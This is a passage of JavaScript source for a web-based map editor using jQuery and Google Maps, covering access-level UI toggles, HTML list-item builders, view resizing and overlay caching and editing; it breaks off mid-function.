$('#content_toolbar_button_manageOverlay').hide();\n $('#content_toolbox_button_manageOverlay').hide();\n $('#content_toolbox_tab4_header').hide();\n $('#overlayACL').hide();\n $('#content_menubar_manageItem').hide();\n $('#content_toolbar_button_manageItem').hide();\n $('#content_toolbox_button_manageItem').hide();\n $('#content_toolbox_tab3_header').hide();\n $('#itemACL').hide();\n break;\n case \"item\":\n switch (level) {\n case \"full\":\n $('#content_menubar_manageOverlay').hide();\n $('#content_toolbar_button_manageOverlay').hide();\n $('#content_toolbox_button_manageOverlay').hide();\n $('#content_toolbox_tab4_header').hide();\n $('#overlayACL').hide();\n break;\n case \"read\":\n //nothing yet\n break;\n case \"none\":\n $('#content_menubar_manageOverlay').show();\n $('#content_toolbar_button_manageOverlay').show();\n $('#content_toolbox_button_manageOverlay').show();\n $('#content_toolbox_tab4_header').show();\n $('#overlayACL').show();\n break;\n }\n break;\n case \"overlay\":\n switch (level) {\n case \"full\":\n $('#content_menubar_manageItem').hide();\n $('#content_toolbar_button_manageItem').hide();\n $('#content_toolbox_button_manageItem').hide();\n $('#content_toolbox_tab3_header').hide();\n $('#itemACL').hide();\n break;\n case \"read\":\n //nothing yet\n break;\n case \"none\":\n $('#content_menubar_manageItem').show();\n $('#content_toolbar_button_manageItem').show();\n $('#content_toolbox_button_manageItem').show();\n $('#content_toolbox_tab3_header').show();\n $('#itemACL').show();\n break;\n }\n break;\n case \"customMapType\":\n switch (level) {\n case \"full\":\n $('#content_menubar_layerCustom').show();\n $('#content_toolbar_button_layerCustom').show();\n break;\n case \"none\":\n $('#content_menubar_layerCustom').hide();\n $('#content_toolbar_button_layerCustom').hide();\n break;\n }\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: actionsACL completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n writeHTML: function (type, param1, param2, param3) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: writeHTML started...\");\n var htmlString = \"\";\n switch (type) {\n case \"poiListItem\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Creating html String\");\n MAPEDITOR.GLOBAL.DEFINES.poiDesc[param1] = \"New\" + param3 + param2;\n htmlString = \"<div id=\\\"poi\" + param1 + \"\\\" class=\\\"poiListItem\\\" title=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.poiDesc[param1] + \" \\\">\" + MAPEDITOR.GLOBAL.DEFINES.poiDesc[param1] + \" <div class=\\\"poiActionButton\\\"><a title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L66 + \"\\\" href=\\\"#\\\" onclick=\\\"MAPEDITOR.ACTIONS.poiEditMe(\" + param1 + \");\\\"><img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"edit.png\\\"/></a> <a title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L61 + \"\\\" id=\\\"poiToggle\" + param1 + \"\\\" href=\\\"#\\\"><img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"sub.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.poiHideMe(\" + param1 + \");\\\" /></a> <a title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L63 + \"\\\" href=\\\"#\\\" onclick=\\\"MAPEDITOR.ACTIONS.poiDeleteMe(\" + param1 + \");\\\"><img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"delete.png\\\"/></a></div></div>\";\n break;\n case \"poiListItemIncoming\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Creating html String\");\n MAPEDITOR.GLOBAL.DEFINES.poiDesc[param1] = param3;\n htmlString = \"<div id=\\\"poi\" + param1 + \"\\\" class=\\\"poiListItem\\\" title=\\\"\" + param3 + \" \\\">\" + param3 + \" <div class=\\\"poiActionButton\\\"><a title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L66 + \"\\\" href=\\\"#\\\" onclick=\\\"MAPEDITOR.ACTIONS.poiEditMe(\" + param1 + \");\\\"><img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"edit.png\\\"/></a> <a title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L61 + \"\\\" id=\\\"poiToggle\" + param1 + \"\\\" href=\\\"#\\\"><img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"sub.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.poiHideMe(\" + param1 + \");\\\" /></a> <a title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L63 + \"\\\" href=\\\"#\\\" onclick=\\\"MAPEDITOR.ACTIONS.poiDeleteMe(\" + param1 + \");\\\"><img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"delete.png\\\"/></a></div></div>\";\n break;\n case \"poiDesc\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Creating html String\");\n htmlString = \"<div class=\\\"poiDescContainer\\\"> <textarea id=\\\"poiDesc\" + param1 + \"\\\" class=\\\"descPOI\\\" placeholder=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L3 + \"\\\" onblur=\\\"MAPEDITOR.ACTIONS.poiGetDesc(\" + param1 + \");\\\"></textarea> <br/> <div class=\\\"buttonPOIDesc\\\" id=\\\"poiGetDesc\\\" onClick=\\\"MAPEDITOR.ACTIONS.poiGetDesc(\" + param1 + \");\\\" >\" + MAPEDITOR.LOCALIZATION.DEFINES.L71 + \"</div> </div>\"; //title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L65 + \"\\\"\n break;\n case \"poiDescIncoming\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Creating html String\");\n htmlString = \"<div class=\\\"poiDescContainer\\\"> <textarea id=\\\"poiDesc\" + param1 + \"\\\" class=\\\"descPOI\\\" onblur=\\\"MAPEDITOR.ACTIONS.poiGetDesc(\" + param1 + \");\\\">\" + param2 + \"</textarea> <br/> <div class=\\\"buttonPOIDesc\\\" id=\\\"poiGetDesc\\\" onClick=\\\"MAPEDITOR.ACTIONS.poiGetDesc(\" + param1 + \");\\\" >\" + MAPEDITOR.LOCALIZATION.DEFINES.L71 + \"</div> </div>\"; //title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L65 + \"\\\"\n break;\n case \"overlayListItem\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Creating html String\");\n htmlString = \"<div id=\\\"overlayListItem\" + param1 + \"\\\" class=\\\"overlayListItem\\\" > <div id=\\\"overlayListItemText\" + param1 + \"\\\" class=\\\"overlayListItemText\\\" title=\\\"\" + param2 + \"\\\" onmouseover=\\\"MAPEDITOR.UTILITIES.addOverlayListItemThumbnailTooltip(\" + param1 + \");\\\" >\" + param2.substring(0, 20) + \"</div> <div class=\\\"overlayActionButton\\\"><a title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L60 + \"\\\" href=\\\"#\\\"><img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"edit.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.overlayEditMe(\" + param1 + \");\\\"/></a> <a id=\\\"overlayToggle\" + param1 + \"\\\" href=\\\"#\\\" title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L61 + \"\\\" ><img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"sub.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.overlayHideMe(\" + param1 + \");\\\" /></a> <a title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L64 + \"\\\" href=\\\"#\\\" ><img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"delete.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.overlayDeleteMe(\" + param1 + \");\\\"/></a> </div></div>\";\n break;\n case \"searchResultListItem\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Creating search html String\");\n htmlString = \"<div id=\\\"searchResultListItem\" + param1 + \"\\\" class=\\\"searchResultListItem\\\" title=\\\"\" + param2 + \"\\\"> \" + param2.substring(0, 20) + \" <div class=\\\"searchResultActionButton\\\"><a title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L61 + \"\\\" id=\\\"searchResultToggle\" + param1 + \"\\\" href=\\\"#\\\"><img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"sub.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.searchResultHideMe(\" + param1 + \");\\\" /></a> <a title=\\\"\" + MAPEDITOR.LOCALIZATION.DEFINES.L62 + \"\\\" href=\\\"#\\\" onclick=\\\"MAPEDITOR.ACTIONS.searchResultDeleteMe(\" + param1 + \");\\\"><img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"delete.png\\\"/></a></div></div>\";\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: writeHTML completed...\");\n return htmlString;\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n resizeView: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: resizeView started...\");\n //get sizes of elements already drawn\n var totalPX = document.documentElement.clientHeight;\n var headerPX = $(\"#mapedit_container\").offset().top;\n var widthPX = document.documentElement.clientWidth;\n\n //set the width of the sf menu pane0 container\n document.getElementById(\"mapedit_container_pane_0\").style.width = widthPX + \"px\";\n\n //if first time loaded (fixes issue where sfmenu was not loaded thus not calc'd in page height)\n if (MAPEDITOR.GLOBAL.DEFINES.pageLoadTime < (new Date().getTime())) {\n headerPX = $(\"#mapedit_container\").offset().top;\n } else {\n headerPX = $(\"#mapedit_container\").offset().top + 28; //inside css\n }\n\n //load all toolbar buttons into an array\n //todo make dynamic\n //todo move to onload listener\n var toolbarButtonIds = [];\n toolbarButtonIds[0] = \"content_toolbar_button_reset\";\n toolbarButtonIds[1] = \"content_toolbar_button_toggleMapControls\";\n toolbarButtonIds[2] = \"content_toolbar_button_toggleToolbox\";\n toolbarButtonIds[3] = \"content_toolbar_button_layerRoadmap\";\n toolbarButtonIds[4] = \"content_toolbar_button_layerTerrain\";\n toolbarButtonIds[5] = \"content_toolbar_button_layerSatellite\";\n toolbarButtonIds[6] = \"content_toolbar_button_layerHybrid\";\n toolbarButtonIds[7] = \"content_toolbar_button_layerCustom\";\n toolbarButtonIds[8] = \"content_toolbar_button_layerReset\";\n toolbarButtonIds[9] = \"content_toolbar_button_panUp\";\n toolbarButtonIds[10] = \"content_toolbar_button_panLeft\";\n toolbarButtonIds[11] = \"content_toolbar_button_panReset\";\n toolbarButtonIds[12] = \"content_toolbar_button_panRight\";\n toolbarButtonIds[13] = \"content_toolbar_button_panDown\";\n toolbarButtonIds[14] = \"content_toolbar_button_zoomIn\";\n toolbarButtonIds[15] = \"content_toolbar_button_zoomReset\";\n toolbarButtonIds[16] = \"content_toolbar_button_zoomOut\";\n toolbarButtonIds[17] = \"content_toolbar_button_manageItem\";\n toolbarButtonIds[18] = \"content_toolbar_button_manageOverlay\";\n toolbarButtonIds[19] = \"content_toolbar_button_managePOI\";\n toolbarButtonIds[20] = \"content_toolbar_button_search\";\n\n if (widthPX < 1100) {\n //\n }\n\n //if view width < toolbar width\n //todo make 1190 dynamic (cannot simple getelementbyid because toolbar is closed at start)\n if (widthPX < 1100) {\n\n //override, just close toolbar (prevents overflow issues)\n //mapedit_container_pane_1\n\n var temp2 = toolbarButtonIds.length * 45;\n temp2 = widthPX - temp2 - 60;\n temp2 = Math.round(temp2 / 45);\n //var buttonNonVisibleCount = Math.round(((toolbarButtonIds.length * 45) - (widthPX - 60)) / 45);\n var buttonNonVisibleCount = temp2;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: non vis button count: \" + buttonNonVisibleCount);\n var buttonVisibleCount = toolbarButtonIds.length - buttonNonVisibleCount;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: vis button count: \" + buttonVisibleCount);\n for (var i = 0; i < buttonVisibleCount; i++) {\n //MAPEDITOR.TRACER.addTracer(\"[INFO]: showing: \" + toolbarButtonIds[i]);\n //document.getElementById(toolbarButtonIds[i]).style.visibility = \"show\";\n //document.getElementById(toolbarButtonIds[i]).style.display = \"block\";\n }\n for (var i = buttonVisibleCount; i < buttonNonVisibleCount; i++) {\n //MAPEDITOR.TRACER.addTracer(\"[INFO]: hiding: \" + toolbarButtonIds[i]);\n //document.getElementById(toolbarButtonIds[i]).style.visibility = \"hidden\";\n //document.getElementById(toolbarButtonIds[i]).style.display = \"none\";\n }\n }\n //calculate how many buttons can be placed based on width\n //display said buttons with arrow to cycle through\n\n //detect and handle different widths\n //todo make the 800,250 dynamic\n if (widthPX <= 800) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: tablet viewing width detected...\");\n //toolbar\n //menubar\n //toolbox -min\n }\n if (widthPX <= 250) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: phone viewing width detected...\");\n //toolbar -convert to bottom button style\n //menubar -convert to sidemenu\n //toolbox -close/disable\n }\n\n //calculate and set sizes\n var bodyPX = totalPX - headerPX;\n document.getElementById(\"mapedit_container\").style.height = bodyPX + \"px\";\n var pane0PX = bodyPX * .05;\n //document.getElementById(\"mapedit_container_pane_0\").style.height = pane0PX + \"px\";\n var pane1PX = bodyPX * .05;\n //document.getElementById(\"mapedit_container_pane_1\").style.height = pane1PX + \"px\";\n var pane2PX = bodyPX * .90;\n //document.getElementById(\"mapedit_container_pane_2\").style.height = pane2PX + \"px\";\n\n //assign position of message box\n //document.getElementById(\"mapedit_container_message\").style[\"top\"] = totalPX - bodyPX + \"px\";\n\n //calculate percentage of height\n var percentOfHeight = Math.round((bodyPX / totalPX) * 100);\n //document.getElementById(\"mapedit_container\").style.height = percentOfHeight + \"%\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: percentage of height: \" + percentOfHeight);\n\n MAPEDITOR.TRACER.addTracer(\"[INFO]: sizes:<br>height: \" + totalPX + \" header: \" + headerPX + \" body: \" + bodyPX + \" pane0: \" + pane0PX + \" pane1: \" + pane1PX + \" pane2: \" + pane2PX);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: resizeView completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n clearCacheSaveOverlay: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: clearCacheSaveOverlay started...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: attempting to clear save overlay cache\");\n if (MAPEDITOR.GLOBAL.DEFINES.savingOverlayIndex.length > 0) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: reseting cache data\");\n MAPEDITOR.GLOBAL.DEFINES.savingOverlayIndex = [];\n MAPEDITOR.GLOBAL.DEFINES.savingOverlayPageId = [];\n MAPEDITOR.GLOBAL.DEFINES.savingOverlayLabel = [];\n MAPEDITOR.GLOBAL.DEFINES.savingOverlaySourceURL = [];\n MAPEDITOR.GLOBAL.DEFINES.savingOverlayBounds = [];\n MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation = [];\n MAPEDITOR.TRACER.addTracer(\"[INFO]: reseting cache save overlay index\");\n MAPEDITOR.GLOBAL.DEFINES.csoi = 0;\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = false;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: reseting working index\");\n MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex = null;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: reseting preserved rotation\");\n MAPEDITOR.GLOBAL.DEFINES.preservedRotation = 0;\n //MAPEDITOR.GLOBAL.DEFINES.preservedOpacity = MAPEDITOR.GLOBAL.DEFINES.defaultOpacity;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: cache reset\");\n } else {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: nothing in cache\");\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: clearCacheSaveOverlay completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n clearOverlaysOnMap: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: clearOverlaysOnMap started...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: attempting to clear ooms\");\n if (MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap.length > 0) {\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap = [];\n MAPEDITOR.TRACER.addTracer(\"[INFO]: ooms reset\");\n //MAPEDITOR.GLOBAL.DEFINES.overlayCount = 0;\n } else {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: no overlays on the map\");\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: clearOverlaysOnMap completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n resetHiddenOverlays: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: resetHiddenOverlays started...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: total oom count: \" + MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap.length);\n for (var i = 1; i < MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap.length; i++) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: oom ID:\" + i);\n var isComparable = false;\n try {\n if (MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[i].image_) {\n isComparable = true;\n }\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[WARN]: No image for oom ID\" + i);\n }\n if (isComparable) {\n for (var j = 0; j < MAPEDITOR.GLOBAL.DEFINES.incomingPolygonSourceURL.length; j++) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: incoming ID:\" + j);\n try {\n if ((MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[i].image_ == MAPEDITOR.GLOBAL.DEFINES.incomingPolygonSourceURL[j]) && (MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType[j] == \"TEMP_main\")) {\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType[j] = \"hidden\";\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPolygonType[j] = \"hidden\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Set Incoming To 'Hidden'\");\n }\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: Not found.\");\n }\n }\n }\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: resetHiddenOverlays completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n latLngToPixel: function (latLng) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: latLngToPixel started...\");\n var topRight = map.getProjection().fromLatLngToPoint(map.getBounds().getNorthEast());\n var bottomLeft = map.getProjection().fromLatLngToPoint(map.getBounds().getSouthWest());\n var scale = Math.pow(2, map.getZoom());\n var worldPoint = map.getProjection().fromLatLngToPoint(latLng);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: latLngToPixel completed...\");\n return new google.maps.Point((worldPoint.x - bottomLeft.x) * scale, (worldPoint.y - topRight.y) * scale);\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n checkKeyCode: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: checkKeyCode started...\");\n //go through each textareaids\n var trueHits = 0;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.listOfTextAreaIds.length; i++) {\n if (document.activeElement.id.indexOf(MAPEDITOR.GLOBAL.DEFINES.listOfTextAreaIds[i]) != -1) {\n trueHits++;\n }\n }\n if (trueHits > 0) {\n MAPEDITOR.GLOBAL.DEFINES.typingInTextArea = true;\n } else {\n MAPEDITOR.GLOBAL.DEFINES.typingInTextArea = false;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: checkKeyCode completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n clearIncomingOverlays: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: clearIncomingOverlays started...\");\n //go through and display overlays as long as there is an overlay to display\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]] != null) {\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]] = null;\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]] = null;\n } else {\n //do nothing\n }\n }\n //MAPEDITOR.GLOBAL.DEFINES.overlaysCurrentlyDisplayed = false;\n MAPEDITOR.GLOBAL.DEFINES.preservedOpacity = MAPEDITOR.GLOBAL.DEFINES.defaultOpacity;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: clearIncomingOverlays completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n setGhostOverlay: function (ghostIndex, ghostBounds) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: setGhostOverlay started...\");\n //create ghost directly over an overlay\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[ghostIndex] = new google.maps.Rectangle(); //init ghost\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[ghostIndex].setOptions(MAPEDITOR.GLOBAL.DEFINES.ghosting); //set MAPEDITOR.GLOBAL.DEFINES.ghosting \n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[ghostIndex].setBounds(ghostBounds); //set bounds\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[ghostIndex].setMap(map); //set to map\n\n //create listener for if clicked\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[ghostIndex], 'click', function () {\n if (MAPEDITOR.GLOBAL.DEFINES.pageMode == \"edit\") { //2do, when would you move a ghost withot editing?\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"overlay\");\n if (MAPEDITOR.GLOBAL.DEFINES.currentlyEditing == \"yes\") { //if editing is being done, save\n if (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex == null) {\n MAPEDITOR.GLOBAL.DEFINES.currentlyEditing = \"no\";\n } else {\n MAPEDITOR.UTILITIES.cacheSaveOverlay(MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex); //trigger a cache of current working overlay\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].setOptions(MAPEDITOR.GLOBAL.DEFINES.ghosting); //set MAPEDITOR.GLOBAL.DEFINES.rectangle to MAPEDITOR.GLOBAL.DEFINES.ghosting\n MAPEDITOR.GLOBAL.DEFINES.currentlyEditing = \"no\"; //reset editing marker\n MAPEDITOR.GLOBAL.DEFINES.preservedRotation = 0; //reset preserved rotation\n }\n }\n if (MAPEDITOR.GLOBAL.DEFINES.currentlyEditing == \"no\") { //if editing is not being done, start editing\n $(\"#toolbox\").show(); //show the toolbox\n MAPEDITOR.GLOBAL.DEFINES.toolboxDisplayed = true; //mark that the toolbox is open\n $(\"#toolboxTabs\").accordion({ active: 3 }); //open edit overlay tab in toolbox\n MAPEDITOR.GLOBAL.DEFINES.currentlyEditing = \"yes\"; //enable editing marker\n //alert(\"prev woi:\" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex + \" new \" + ghostIndex);\n MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex = ghostIndex; //set this overay as the one being e\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[ghostIndex].setOptions(MAPEDITOR.GLOBAL.DEFINES.editable); //show ghost\n MAPEDITOR.GLOBAL.DEFINES.currentTopZIndex++; //iterate top z index\n document.getElementById(\"overlay\" + ghostIndex).style.zIndex = MAPEDITOR.GLOBAL.DEFINES.currentTopZIndex; //bring overlay to front\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[ghostIndex].setOptions({ zIndex: MAPEDITOR.GLOBAL.DEFINES.currentTopZIndex }); //bring ghost to front\n //set rotation if the overlay was previously saved\n if (MAPEDITOR.GLOBAL.DEFINES.preservedRotation != MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[ghostIndex - 1]) {\n MAPEDITOR.GLOBAL.DEFINES.preservedRotation = MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[ghostIndex - 1];\n }\n }\n }\n });\n\n //set listener for bounds changed\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[ghostIndex], 'bounds_changed', function () {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: ghost index: \" + ghostIndex);\n if (MAPEDITOR.GLOBAL.DEFINES.pageMode == \"edit\") {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"overlay\");\n //hide previous overlay\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[ghostIndex].setMap(null);\n //delete previous overlay values\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[ghostIndex] = null;\n //redraw the overlay within the new bounds\n MAPEDITOR.TRACER.addTracer(MAPEDITOR.GLOBAL.DEFINES.preservedRotation);\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[ghostIndex] = new MAPEDITOR.UTILITIES.CustomOverlay(ghostIndex, MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[ghostIndex].getBounds(), MAPEDITOR.GLOBAL.DEFINES.incomingPolygonSourceURL[(ghostIndex - 1)], map, MAPEDITOR.GLOBAL.DEFINES.preservedRotation);\n //set the overlay with new bounds to the map\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[ghostIndex].setMap(map);\n //enable editing marker\n MAPEDITOR.GLOBAL.DEFINES.currentlyEditing = \"yes\";\n //trigger a cache of current working overlay\n MAPEDITOR.UTILITIES.cacheSaveOverlay(MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex);\n }\n });\n\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[ghostIndex], 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n });\n MAPEDITOR.TRACER.addTracer(\"[INFO]: setGhostOverlay completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n cacheSaveOverlay: function (index) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: cacheSaveOverlay started...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: caching save overlay <hr/>\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: incoming index: \" + index);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: current save overlay index: \" + MAPEDITOR.GLOBAL.DEFINES.csoi);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: current working overlay index: \" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex);\n //convert working id to index\n MAPEDITOR.GLOBAL.DEFINES.csoi = index - 1;\n //is this the first save\n MAPEDITOR.GLOBAL.DEFINES.firstSaveOverlay = true;\n //MAPEDITOR.TRACER.addTracer(\"[INFO]: firstSaveOvelay: \" + MAPEDITOR.GLOBAL.DEFINES.firstSaveOverlay);\n //set overlay index to save\n MAPEDITOR.GLOBAL.DEFINES.savingOverlayIndex[MAPEDITOR.GLOBAL.DEFINES.csoi] = MAPEDITOR.GLOBAL.DEFINES.csoi; //MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.savingOverlayIndex[MAPEDITOR.GLOBAL.DEFINES.csoi]: \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayIndex[MAPEDITOR.GLOBAL.DEFINES.csoi]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.csoi: \" + MAPEDITOR.GLOBAL.DEFINES.csoi);\n //set label to save\n 